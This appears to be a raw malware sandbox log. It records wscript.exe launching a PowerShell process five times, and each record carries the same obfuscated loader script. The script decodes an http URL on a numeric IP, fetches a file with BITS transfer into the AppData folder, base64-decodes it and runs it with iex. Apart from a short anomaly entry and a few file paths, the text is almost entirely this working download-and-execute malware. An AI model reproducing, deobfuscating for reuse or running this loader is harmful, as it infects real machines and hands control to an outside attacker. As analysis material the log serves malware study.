$ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersvell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerspell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersoell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powers}ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerszell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
Time & API Arguments Status Return Repeated

__anomaly__

tid: 3028
message: Encountered 65537 exceptions, quitting.
subcategory: exception
function_name:
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Program Files\Qemu-ga\qemu-ga.exe
file C:\Program Files\qga\qga.exe